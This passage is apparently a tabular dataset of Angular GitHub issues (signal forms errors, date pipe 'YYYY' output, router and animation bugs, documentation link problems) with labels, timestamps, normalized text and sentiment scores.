    at producerUpdateValueVersion (_effect-chunk.mjs:102:8)
    at _Field.computed2 [as state] (_effect-chunk.mjs:271:5)
    at updateControlClasses (_debug_node-chunk.mjs:13485:13)
    at updateControl (_debug_node-chunk.mjs:13313:5)
    at Object.ɵcontrolUpdate [as update] (_debug_node-chunk.mjs:13308:3)
    at Object.update (_debug_node-chunk.mjs:8124:54)
    at _debug_node-chunk.mjs:8375:17
    at ... [TRUNCATED]",,2026-01-05 15:39:56+00:00,2026-01-05 15:53:42+00:00,2,nan,0.0096,signal forms error when dynamically rendering field directive which angular package s are the source of the bug forms is this a regression no description issue reported that dynamic rendering of the new signal form directive does not work at all pr should provide a fix for this issue however when using the latest next version of angular next an error is reported when trying to dynamically render the element therefore the dynamically rendered field component is still not usable compared to the static component the attached link is the same code as the original issue only the package versions were upgraded to the latest next version please provide a link to a of the bug please provide the exception or error you saw true when rendering the component the following issue is being reported error typeerror this field is not a function at field state ngdevmode debugname as computation signals mjs at object producerrecomputevalue effect chunk mjs at producerupdatevalueversion effect chunk mjs at field computed as state effect chunk mjs at updatecontrolclasses debug node chunk mjs at updatecontrol debug node chunk mjs at object controlupdate as update debug node chunk mjs at object update debug node chunk mjs at debug node chunk mjs at truncated,bug,0.0258
angular/angular,3781565466,_NgZone Error while navigating a second time on a component including a Web Component,"### Which @angular/* package(s) are the source of the bug?

elements, zone.js

### Is this a regression?

No

### Description

Hello,

I am building a micro-services application with a Container App and two Web Components (builded with Angular elements).

Everything works fine until I navigate back to a route with an already loaded Web Component.

<img width=""1925"" height=""117"" alt=""Image"" src=""https://github.com/user-attachments/assets/64371e22-9ea3-47d5-9586-4a62a7e57b9d"" />

Here is a repo to reproduce the bug: https://github.com/Liotarne/microfrontends

I may have made something wrong, it is my first micro-frontend.

I already tried many different solutions: Module Federation, ax lazy loading, legacy loading (<script>), no lazy loading at all, standalone and without standalone.

The Web Components are build with the same version of Angular with angular elements.

Thanks a lot for any help you can provide about this bug !

### Please provide a link to a minimal reproduction of the bug

https://github.com/Liotarne/microfrontends

### Please provide the exception or error you saw

```true
Uncaught ɵNotFound: NG0201: No provider found for `ErrorHandler`. Source: Environment Injector. Find more at https://v21.angular.dev/errors/NG0201
    Angular 10
_untracked-chunk.mjs:37:5

ERROR ɵNotFound: NG0201: No provider found for `_NgZone`. Source: Environment Injector. Find more at https://v21.angular.dev/errors/NG0201
    Angular 10
_untracked-chunk.mjs:2581:19
```

### Please provi... [TRUNCATED]",,2026-01-05 13:48:44+00:00,2026-01-05 15:19:14+00:00,2,nan,0.0628,ngzone error while navigating a second time on a component including a web component which angular package s are the source of the bug elements zone js is this a regression no description hello i am building a micro services application with a container app and two web components builded with angular elements everything works fine until i navigate back to a route with an already loaded web component here is a repo to reproduce the bug i may have made something wrong it is my first micro frontend i already tried many different solutions module federation ax lazy loading legacy loading no lazy loading at all standalone and without standalone the web components are build with the same version of angular with angular elements thanks a lot for any help you can provide about this bug please provide a link to a of the bug please provide the exception or error you saw please provi truncated,bug,-0.9382
angular/angular,3778554190,Angular language service detects an error with the new sintaxis.,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

Yes

### Description

Its saids something like this: 

> Unexpected character ""EOF"" (Do you have an unescaped ""{"" in your template? Use ""{{ '{' }}"") to escape it.) 

but the code its ok: 

```
<div class=""main-container"">

    @switch (main.step$.value) {

    @case (1) {<app-company-info></app-company-info>}
    @case (2) {<app-owner-info></app-owner-info>}
    @case (3) {<app-transportista-bank-data></app-transportista-bank-data>}
    @case (4) {<app-vehicle-info></app-vehicle-info>}
    @case (5) {<app-vehicle-documents></app-vehicle-documents>}
    @case (6) {<app-resume></app-resume>}

    }

</div>
```
the only version who works for me its 20.3.2

### Please provide the environment you discovered this bug in (run `ng version`):

```true
Angular CLI: 20.3.4
Node: 24.5.0
Package Manager: npm 11.5.1
OS: win32 x64


Angular: 20.3.3
... animations, common, compiler, compiler-cli, core, forms
... platform-browser, platform-server, router

Package                      Version
------------------------------------
@angular-devkit/architect    0.2003.4
@angular-devkit/core         20.3.4
@angular-devkit/schematics   20.3.4
@angular/build               20.3.4
@angular/cdk                 20.2.7
@angular/cli                 20.3.4
@angular/fire                20.0.1
@angular/google-maps         20.2.7
@angular/material            20.2.7
@angular/ssr                 20.3.4
@schem... [TRUNCATED]",,2026-01-03 22:31:53+00:00,2026-01-03 22:47:51+00:00,2,nan,0.0111,angular language service detects an error with the new sintaxis which angular package s are the source of the bug language service is this a regression yes description its saids something like this unexpected character eof do you have an unescaped in your template use to escape it but the code its ok the only version who works for me its please provide the environment you discovered this bug in run true angular cli node package manager npm os win x angular animations common compiler compiler cli core forms platform browser platform server router package version angular devkit architect angular devkit core angular devkit schematics angular build angular cdk angular cli angular fire angular google maps angular material angular ssr schem truncated,bug,0.8176
angular/angular,3778414930,Validate ChangeDetectionStrategory for child components rendered by a component with ChangeDetectionStrategory.OnPush,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler-cli

### Description

According to https://angular.dev/guide/zoneless#onpush-compatible-components
>When a library component is a host for user-components which might use [ChangeDetectionStrategy.Default](https://angular.dev/api/core/ChangeDetectionStrategy#Default), it cannot use OnPush because that would prevent the child component from being refreshed if it is not OnPush compatible and relies on ZoneJS to trigger change detection.

As such, I would expect the angular compiler to validate that a component with ChangeDetectionStrategy.OnPush cannot render a child component with ChangeDetectionStrategy.Default

For example, given the following two components we should show an error on the `<default-cd>` node in the OnPushComponent template:

```
import { ChangeDetectionStrategy, Component } from '@angular/core';

@Component({
  selector: 'default-cd',
  template: '<p>default change detection</p>',
})
export class DefaultComponent {}

@Component({
  selector: 'onpush-cd',
  template: '<default-cd>',
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [DefaultComponent],
})
export class OnPushComponent {}
```

This feature will help users incrementally migrate components in older zone.js based applications to use ChangeDetectionStrategy.OnPush and eventually enable a zoneless architecture. Such a feature would also support OnPush as the implicit change detection strategy (https://gi... [TRUNCATED]",,2026-01-03 19:24:17+00:00,2026-01-05 17:32:54+00:00,5,nan,1.9227,validate changedetectionstrategory for child components rendered by a component with changedetectionstrategory onpush which angular package s are relevant related to the feature request compiler cli description according to when a library component is a host for user components which might use changedetectionstrategy default it cannot use onpush because that would prevent the child component from being refreshed if it is not onpush compatible and relies on zonejs to trigger change detection as such i would expect the angular compiler to validate that a component with changedetectionstrategy onpush cannot render a child component with changedetectionstrategy default for example given the following two components we should show an error on the node in the onpushcomponent template this feature will help users incrementally migrate components in older zone js based applications to use changedetectionstrategy onpush and eventually enable a zoneless architecture such a feature would also support onpush as the implicit change detection strategy truncated,others,0.7579
angular/angular,3776003917,Incorrect API linking for property names in code,"### Describe the problem that you experienced

The documentation system is incorrectly linking property names in code examples to API references. For example, in the [reactive forms documentation](https://angular.dev/guide/forms/reactive-forms#generate-form-controls) the word ""state"" in an object literal is being linked to [animations state](https://angular.dev/api/animations/state) when it should just be treated as a regular property name.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/reactive-forms#generate-form-controls

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-01-02 09:54:41+00:00,2026-01-05 17:01:53+00:00,2,nan,3.2967,incorrect api linking for property names in code describe the problem that you experienced the documentation system is incorrectly linking property names in code examples to api references for example in the reactive forms documentation the word state in an object literal is being linked to animations state when it should just be treated as a regular property name enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9565
angular/angular,3774888719,Template type checker reports incorrect errors for input() signal inputs in directives,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

# Description

When using signal-based inputs via input() / input.required() inside a directive, Angular’s template type checker (and Angular Language Service) reports incorrect TypeScript errors when binding to the directive input from a template.

This seems specific to directives (as opposed to components), and results in either:

TS2540: Cannot assign to 'X' because it is a read-only property (if input is declared readonly)

TS2322: Type 'string' is not assignable to type 'InputSignal<string>' (if readonly is removed)

At runtime the binding works correctly, so this appears to be a template type-checker / language service issue.

```typescript

import { Directive, ElementRef, inject, input } from '@angular/core';

@Directive({
  selector: '[demoTranslate]',
  standalone: true,
})
export class DemoTranslateDirective {
  // Case A: readonly => TS2540
  readonly demoTranslate = input.required<string>();

  // Case B: no readonly => TS2322
  // demoTranslate = input.required<string>();

  private readonly el = inject(ElementRef);

  ngOnInit() {
    this.el.nativeElement.textContent = this.demoTranslate();
  }
}

```

```html
<span demoTranslate=""MY.KEY""></span>
```


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-6tsprw6d?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true... [TRUNCATED]",needs reproduction,2026-01-01 16:40:28+00:00,2026-01-02 22:16:49+00:00,5,needs reproduction,1.2336,template type checker reports incorrect errors for input signal inputs in directives which angular package s are the source of the bug core is this a regression no description description when using signal based inputs via input input required inside a directive angular s template type checker and angular language service reports incorrect typescript errors when binding to the directive input from a template this seems specific to directives as opposed to components and results in either ts cannot assign to x because it is a read only property if input is declared readonly ts type string is not assignable to type inputsignal if readonly is removed at runtime the binding works correctly so this appears to be a template type checker language service issue please provide a link to a of the bug please provide the exception or error you saw true truncated,bug,-0.8225
angular/angular,3772296463,Date pipe add a year where date is between 28-12 to 31-12,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

When I use the pipe date for dates between 28-12 to 31-12, with pattern Y, adds a year to date, but if I use the pattern y works correctly.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 11.2.19
Node: 12.22.12
OS: win32 x64

Angular: 11.2.14
... animations, common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router
Ivy Workspace: Yes

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1102.19
@angular-devkit/build-angular   0.1102.19
@angular-devkit/core            11.2.19
@angular-devkit/schematics      11.2.19
@angular/cdk                    11.2.13
@angular/cli                    11.2.19
@schematics/angular             11.2.19
@schematics/update              0.1102.19
rxjs                            6.6.7
typescript                      4.1.6
```

### Anything else?

_No response_",,2025-12-31 08:33:46+00:00,2025-12-31 08:44:33+00:00,3,nan,0.0075,date pipe add a year where date is between to which angular package s are the source of the bug common is this a regression yes description when i use the pipe date for dates between to with pattern y adds a year to date but if i use the pattern y works correctly please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.872
angular/angular,3772240755,Template pipeline leaves behind unnecessary restore/reset view calls in the presence of `@let`,"Variables are generated in the pipeline by inserting references to all the symbols within the scope and then later cleaning up the unused ones in an optimization pass. When generating the scope for listener instructions, we expose all the `@let` declarations in the same view ([see](https://github.com/angular/angular/blob/main/packages/compiler/src/template/pipeline/src/phases/generate_variables.ts#L293)) which leads us to generate `ɵɵrestoreView` and `ɵɵresetView` calls, however if the `@let` reference isn't used within the listener, the variable optimization phase only removes the variable that reads it and not the `ɵɵrestoreView`/`ɵɵresetView` calls.

For example, if we take the following template:

```html
@let unused = 1;
<button (click)=""noop()""></button>
```

It produces the following code before optimization:

```js
if (rf & 1) {
  const _r1 = ɵɵgetCurrentView();
  ɵɵdeclareLet(0);
  ɵɵdomElementStart(1, ""button"", 0);
  ɵɵdomListener(
    ""click"",
    function TestComp_Template_button_click_1_listener() {
      const ctx_r1 = ɵɵrestoreView(_r1);
      const unused_r3 = ɵɵreadContextLet(0);
      return ɵɵresetView(ctx.noop());
    }
  );
  ɵɵdomElementEnd();
}
if (rf & 2) {
  const unused_r4 = ɵɵstoreLet(1);
}
```

Which becomes the following after optimization:

```js
if (rf & 1) {
  const _r1 = ɵɵgetCurrentView();
  ɵɵdomElementStart(0, ""button"", 0);
  ɵɵdomListener(
    ""click"",
    function TestComp_Template_button_click_0_listener() {
      ɵɵrestoreView(_r1);
   ... [TRUNCATED]","area: compiler,bug,compiler: template pipeline",2025-12-31 08:04:11+00:00,2026-01-20 18:22:57+00:00,2,"area: compiler,bug,compiler: template pipeline",20.4297,template pipeline leaves behind unnecessary restore reset view calls in the presence of variables are generated in the pipeline by inserting references to all the symbols within the scope and then later cleaning up the unused ones in an optimization pass when generating the scope for listener instructions we expose all the declarations in the same view see which leads us to generate and calls however if the reference isn t used within the listener the variable optimization phase only removes the variable that reads it and not the calls for example if we take the following template it produces the following code before optimization which becomes the following after optimization js if rf const r getcurrentview domelementstart button domlistener click function testcomp template button click listener restoreview r truncated,bug,0.875
angular/angular,3771799276,Incorrect Highlighting in Content Queries Example,"### Describe the problem that you experienced

In the example, the highlight should be on the next line. Instead of highlighting `export class CustomExpando`, it should highlight `@ContentChild(CustomToggle) toggle: CustomToggle;`

In [queries.md](https://github.com/angular/angular/blob/main/adev/src/content/guide/components/queries.md?plain=1#L340) the code highlight should be updated.
 

<img width=""777"" height=""698"" alt=""Image"" src=""https://github.com/user-attachments/assets/7c78d71e-2518-4894-ab18-ad20a8787cbd"" />

 

### Enter the URL of the topic with the problem

https://angular.dev/guide/components/queries#content-queries-1
",,2025-12-31 02:14:09+00:00,2026-01-02 07:28:46+00:00,1,nan,2.2185,incorrect highlighting in content queries example describe the problem that you experienced in the example the highlight should be on the next line instead of highlighting it should highlight in queries md the code highlight should be updated enter the url of the topic with the problem,others,0.2023
angular/angular,3770987764,"Routes, parameters got replaced by child route, feature or bug?","### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

The following situation happens to me:

There is a parent route with a parameter involved

parent/:id

There are also child routes which have a default setting defined in another module.

As soon the routes got processed the URL ""parent/1"", the URL will be changed in a wrong manner (at least what I think)

resolves into:  parent/default_child

instead of parent/1/default_child 
for id = 1

even more worse

the next iteration processed the URL into

parent/default_child/default_child

which is quite obviously a bug.

I can fetch the id from the activeRoute in the component once without any problems, so the id was recognized. A refresh of the page results in a failure, because the URL was miss transformed.

Has anybody ever seen the same behavior? I tried to find an explanation, but nothing relevant popped up.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 17.3.17
Node: 18.16.0
npm: 9.5.1
OS: linux x64
Angular: 17.3.12
```

### Anything else?

_No response_",needs reproduction,2025-12-30 18:56:26+00:00,2025-12-30 20:07:52+00:00,4,needs reproduction,0.0496,routes parameters got replaced by child route feature or bug which angular package s are the source of the bug router is this a regression yes description the following situation happens to me there is a parent route with a parameter involved parent id there are also child routes which have a default setting defined in another module as soon the routes got processed the url parent the url will be changed in a wrong manner at least what i think resolves into parent default child instead of parent default child for id even more worse the next iteration processed the url into parent default child default child which is quite obviously a bug i can fetch the id from the activeroute in the component once without any problems so the id was recognized a refresh of the page results in a failure because the url was miss transformed has anybody ever seen the same behavior i tried to find an explanation but nothing relevant popped up please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.9487
angular/angular,3770865264,404 when trying to open Push Notifications page,"### Describe the problem that you experienced

When I try to open Push Notifications in the _Extended Ecosystem > Service Workers & PWA_ I get 404 page not found.

### Enter the URL of the topic with the problem

https://angular.dev/ecosystem/service-workers

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",needs: clarification,2025-12-30 17:50:46+00:00,2026-01-02 20:33:52+00:00,3,needs: clarification,3.1133,when trying to open push notifications page describe the problem that you experienced when i try to open push notifications in the extended ecosystem service workers pwa i get page not found enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9565
angular/angular,3768780002,Angular Language Service for Zed,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Do you have any plans to create LSP for Zed?

### Proposed solution

Do you have any plans to create LSP for Zed?

### Alternatives considered

Do you have any plans to create LSP for Zed?",,2025-12-30 02:09:08+00:00,2025-12-30 03:21:26+00:00,2,nan,0.0502,angular language service for zed which angular package s are relevant related to the feature request no response description do you have any plans to create lsp for zed proposed solution do you have any plans to create lsp for zed alternatives considered do you have any plans to create lsp for zed,others,0.6597
angular/angular,3766293660,If I put YYYY in date pipe it shows me wrong output,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

Wrong output in date pipe if we use 'YYYY' or 'YY' in date format. We have source code also, please see the following zip attachment.


[src.zip](https://github.com/user-attachments/files/24363347/src.zip)

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
We are trying convert the date to our own custom format, we are using 'YYYY' then it shows me wrong output.

e.g. we have to convert today's date in custom format by using date pipe, and if we use 'YYYY' or 'YY' then it shows me next year on output rather than the current year.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular: 19.2.17
... common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1902.19
@angular-devkit/build-angular   19.2.19
@angular-devkit/core            19.2.19
@angular-devkit/schematics      19.2.19
@angular/cli                    19.2.19
@schematics/angular             19.2.19
rxjs                            7.8.2
typescript                      5.7.3
zone.js                         0.15.1
```

### Anything else?

_No response_",,2025-12-29 03:05:40+00:00,2025-12-29 06:39:54+00:00,3,nan,0.1488,if i put yyyy in date pipe it shows me wrong output which angular package s are the source of the bug common is this a regression yes description wrong output in date pipe if we use yyyy or yy in date format we have source code also please see the following zip attachment src zip please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.8591
angular/angular,3765492595,Signal forms debounce with additional non-debounced value,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

Imagine an scenario where a search input has a magnifying glass icon on top of the input (when the input is empty) so the user knows that is a search field. Then the magnifying glass icon should disappear as soon as the user starts typing. However that same field input, using signal forms new api, is implementing a `debounce` to delay the api calls tied to the search input.

The problem with the above is that because of the use of `debounce`, the magnifying glass will not disappear the moment the user starts typing, as the display of the magnifying glass is tied to the form signal as well.

### Proposed solution

The FieldState should expose a non-debounced signal of the value, maybe via the metadata or an additional method.

### Alternatives considered

A solution to the above can be achieved by setting up another signal and tie it to the signal form via a linkedSignal, but feels a bit hacky. It would be cleaner if a solution could be provided via the new api.",,2025-12-28 09:19:14+00:00,2025-12-28 12:14:28+00:00,2,nan,0.1217,signal forms debounce with additional non debounced value which angular package s are relevant related to the feature request forms description imagine an scenario where a search input has a magnifying glass icon on top of the input when the input is empty so the user knows that is a search field then the magnifying glass icon should disappear as soon as the user starts typing however that same field input using signal forms new api is implementing a to delay the api calls tied to the search input the problem with the above is that because of the use of the magnifying glass will not disappear the moment the user starts typing as the display of the magnifying glass is tied to the form signal as well proposed solution the fieldstate should expose a non debounced signal of the value maybe via the metadata or an additional method alternatives considered a solution to the above can be achieved by setting up another signal and tie it to the signal form via a linkedsignal but feels a bit hacky it would be cleaner if a solution could be provided via the new api,others,0.6757
angular/angular,3764776980,Effect triggering inconsistency,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The triggering of effects is inconsistent. 
Depending on adding for example a `console.log` or to put a signal in an unused variable, the triggering occurs or not. 

In the example below, the three effects must have the same values. The first one is not triggered. The second and the third are to show workarounds, but with high risk when cleaning the code.

```import { Component, effect, signal } from '@angular/core';

@Component({
  selector: 'app-root',
  template: `
To test this,
<ol>
  <li> Click on the ""To false"" or ""To true"" button </li>
  <li> The counter stay at zero </li>
  <li> Click on the ""Start counting value changes"" button </li>
  <li> Click on the ""To false"" or ""To true"" button </li>
  <li> All counters must increase simultanosuly </li>
</ol>
<pre>
Value: {{value()}} 

<span (click)=""value.set(false)""> To false </span> <span (click)=""value.set(true)""> To true </span>

Value changes counters: {{counter1()}} / {{counter2()}} / {{counter3()}}

<span (click)=""start()""> Start counting value changes </span>
</pre>
`,styles: `
:host {font-size: 24px;}
span {  border: 1px black solid;}
`
})
export class App 
{
  value = signal(false);

  lastValue1: boolean | undefined = undefined;
  counter1 = signal(0);

  lastValue2: boolean | undefined = undefined;
  counter2 = signal(0);

  lastValue3: boolean | undefined = undefined;
  counter3 = signal(0);

  constr... [TRUNCATED]",,2025-12-27 13:38:21+00:00,2025-12-27 16:22:07+00:00,5,nan,0.1137,effect triggering inconsistency which angular package s are the source of the bug core is this a regression yes description the triggering of effects is inconsistent depending on adding for example a or to put a signal in an unused variable the triggering occurs or not in the example below the three effects must have the same values the first one is not triggered the second and the third are to show workarounds but with high risk when cleaning the code import component effect signal from angular core component selector app root template to test this click on the to false or to true button the counter stay at zero click on the start counting value changes button click on the to false or to true button all counters must increase simultanosuly value value to false to true value changes counters counter counter counter start counting value changes host font size px span border px black solid export class app value signal false lastvalue boolean undefined undefined counter signal lastvalue boolean undefined undefined counter signal lastvalue boolean undefined undefined counter signal constr truncated,others,0.9856
angular/angular,3764169536,TSX/JSX compilation support,"### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

No

### Description

There are libraries like @bubblydoo/angular-react that help to use multiple frameworks (React + Angular) at the same time.

The core developers of this library discovered that, starting from some point, the builder has been broken for TSX/JSX files (at least since @angular/compiler-cli@13). They applied a patch for their own needs using Yarn. It works, but it has to be maintained separately for each framework version.

So, I assume it might not be very hard to fix, since the issue has already been identified by the patch authors (see the patch [here](https://github.com/bubblydoo/angular-react/blob/main/.yarn/patches/%40angular-compiler-cli-npm-14.3.0-340f59f610.patch), and the source file that needs to be modified is located [here](https://github.com/angular/angular/blob/main/packages/compiler-cli/src/ngtsc/file_system/src/util.ts)).

I can provide a PR with this fix if this is an acceptable way to address this kind of issue.

Here is an example of the issue (after upgrading to ng@15 and removing the Yarn patch; the issue persists even after upgrading to the latest Angular version):

<img width=""1277"" height=""522"" alt=""Image"" src=""https://github.com/user-attachments/assets/3548f74e-e110-4d90-8c4c-3768d45ca340"" />

### Please provide a link to a minimal reproduction of the bug

https://github.com/bubblydoo/angular-react

### Please provide the exception or ... [TRUNCATED]","area: core,state: has PR",2025-12-27 00:37:05+00:00,2026-01-21 18:33:16+00:00,7,"area: core,state: has PR",25.7473,tsx jsx compilation support which angular package s are the source of the bug compiler cli is this a regression no description there are libraries like bubblydoo angular react that help to use multiple frameworks react angular at the same time the core developers of this library discovered that starting from some point the builder has been broken for tsx jsx files at least since angular compiler cli they applied a patch for their own needs using yarn it works but it has to be maintained separately for each framework version so i assume it might not be very hard to fix since the issue has already been identified by the patch authors see the patch here and the source file that needs to be modified is located here i can provide a pr with this fix if this is an acceptable way to address this kind of issue here is an example of the issue after upgrading to ng and removing the yarn patch the issue persists even after upgrading to the latest angular version please provide a link to a of the bug please provide the exception or truncated,help,0.9317
angular/angular,3763347723,"Routes, `loadChildren` and `loadComponent` are working together. Bug or a feature?","### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

when defining a routes, there is an equivalent between:
```ts
{
   path: 'foo',
   loadComponent: () => import('./foo'), // foo contain router outlet
   children: [
     {
         path: '',
         loadChildren: () => import('./children'),
     },
}
```

and this definition:
```ts
{
   path: 'foo',
   loadComponent: () => import('./foo'),  // foo contain router outlet
   loadChildren: () => import('./children'),
}
```

The second example is not documented anywhere I want to understand if it is a bug (it not suppose to behave like that) or this is actually the same configuration and then this is a documentation update request.



### Please provide a link to a minimal reproduction of the bug

https://github.com/ziv/angular-route-issue-reproduction

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 22.17.1
Package Manager   : npm 10.9.2
Operating System  : darwi... [TRUNCATED]","area: router,good first issue,area: docs",2025-12-26 11:57:07+00:00,2026-01-02 07:26:32+00:00,6,"area: router,good first issue,area: docs",6.8121,routes and are working together bug or a feature which angular package s are the source of the bug router is this a regression yes description when defining a routes there is an equivalent between and this definition the second example is not documented anywhere i want to understand if it is a bug it not suppose to behave like that or this is actually the same configuration and then this is a documentation update request please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm darwi truncated,bug,-0.6511
angular/angular,3762800765,(animate.leave) produces memory leaks,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

If a component has `(animate.leave)` hook - it's stuck in `allLeavingAnimations` after parent destroys.

Please see reproduction example

<img width=""1688"" height=""1071"" alt=""Image"" src=""https://github.com/user-attachments/assets/bd30449f-b9eb-480b-bca3-c3a176174675"" />

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-fiddle-gqwykbhz-4qecuwtv?file=src%2Fapp%2Fleak.component.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,state: has PR,core: animations",2025-12-26 06:06:41+00:00,2026-01-07 17:39:02+00:00,2,"area: core,state: has PR,core: animations",12.4808,animate leave produces memory leaks which angular package s are the source of the bug core is this a regression no description if a component has hook it s stuck in after parent destroys please see reproduction example please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9186
angular/angular,3761899910,Angular forms: ɵɵcontentQuery(...) is not a function,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

After updating my angular repo from v20 to v21, an expected error arises when I use Angular reactive forms and Angular Material together. The error thrown is

```
ERROR TypeError: ɵɵcontentQuery(...) is not a function
    at Object.MatFormField_ContentQueries [as contentQueries] (_form-field-chunk.mjs:1050:59)
    at executeContentQueries (_debug_node-chunk.mjs:2712:15)
    at ɵɵelementStart (_debug_node-chunk.mjs:14136:5)
    at LoginComponent_Template
```


```ts
import { Component, computed, inject, OnInit, signal } from '@angular/core';
import {
  FormBuilder,
  Validators,
  ReactiveFormsModule,
  FormsModule,
  FormGroup,
} from '@angular/forms';

@Component({
  selector: 'app-login',
  templateUrl: './login.component.html',
  styleUrls: ['./login.component.scss'],
  imports: [
    FormsModule,
    RouterLink,
    ReactiveFormsModule,
  ],
})
export class LoginComponent implements OnInit {
  private readonly formBuilder = inject(FormBuilder);
  private readonly auth = inject(AuthService);
  private readonly settings = inject(SettingsService);
  readonly signals = inject(SignalsService);
  loginForm!: FormGroup;

  private readonly options = this.settings.getOptions();
  readonly themeStyle = computed(() => this.options.theme);
  readonly hide = signal(true);

  ngOnInit(): void {
    this.loginForm = this.formBuilder.nonNullable.group({
      email: ['', [... [TRUNCATED]",,2025-12-25 12:14:23+00:00,2025-12-25 13:11:32+00:00,2,nan,0.0397,angular forms contentquery is not a function which angular package s are the source of the bug forms is this a regression yes description after updating my angular repo from v to v an expected error arises when i use angular reactive forms and angular material together the error thrown is ts import component computed inject oninit signal from angular core import formbuilder validators reactiveformsmodule formsmodule formgroup from angular forms component selector app login templateurl login component html styleurls login component scss imports formsmodule routerlink reactiveformsmodule export class logincomponent implements oninit private readonly formbuilder inject formbuilder private readonly auth inject authservice private readonly settings inject settingsservice readonly signals inject signalsservice loginform formgroup private readonly options this settings getoptions readonly themestyle computed this options theme readonly hide signal true ngoninit void this loginform this formbuilder nonnullable group email truncated,others,-0.6369
angular/angular,3761046608,"docs: wrong URL for ""Designing your form model"" button","### Describe the problem that you experienced

In the overview page of the Signal Forms (`https://angular.dev/guide/forms/signals/overview`), a button is supposed to redirect to a doc about designing a form model. The button redirects to a not found page, even though the page it's supposed to open exists, but in another URL.
Wrong URL used currently for the button : `https://angular.dev/guide/forms/signals/designing-your-form-model`
Correct URL : `https://angular.dev/guide/forms/signals/model-design`

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/overview

### Describe what you were looking for in the documentation

Information about the signal forms, to see if I can contribute to the next features

### Describe the actions that led you to experience the problem

Just going through the docs of signal forms

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs,2025-12-24 21:30:36+00:00,2026-01-09 16:37:09+00:00,3,area: docs,15.7962,docs wrong url for designing your form model button describe the problem that you experienced in the overview page of the signal forms a button is supposed to redirect to a doc about designing a form model the button redirects to a not found page even though the page it s supposed to open exists but in another url wrong url used currently for the button correct url enter the url of the topic with the problem describe what you were looking for in the documentation information about the signal forms to see if i can contribute to the next features describe the actions that led you to experience the problem just going through the docs of signal forms describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9775
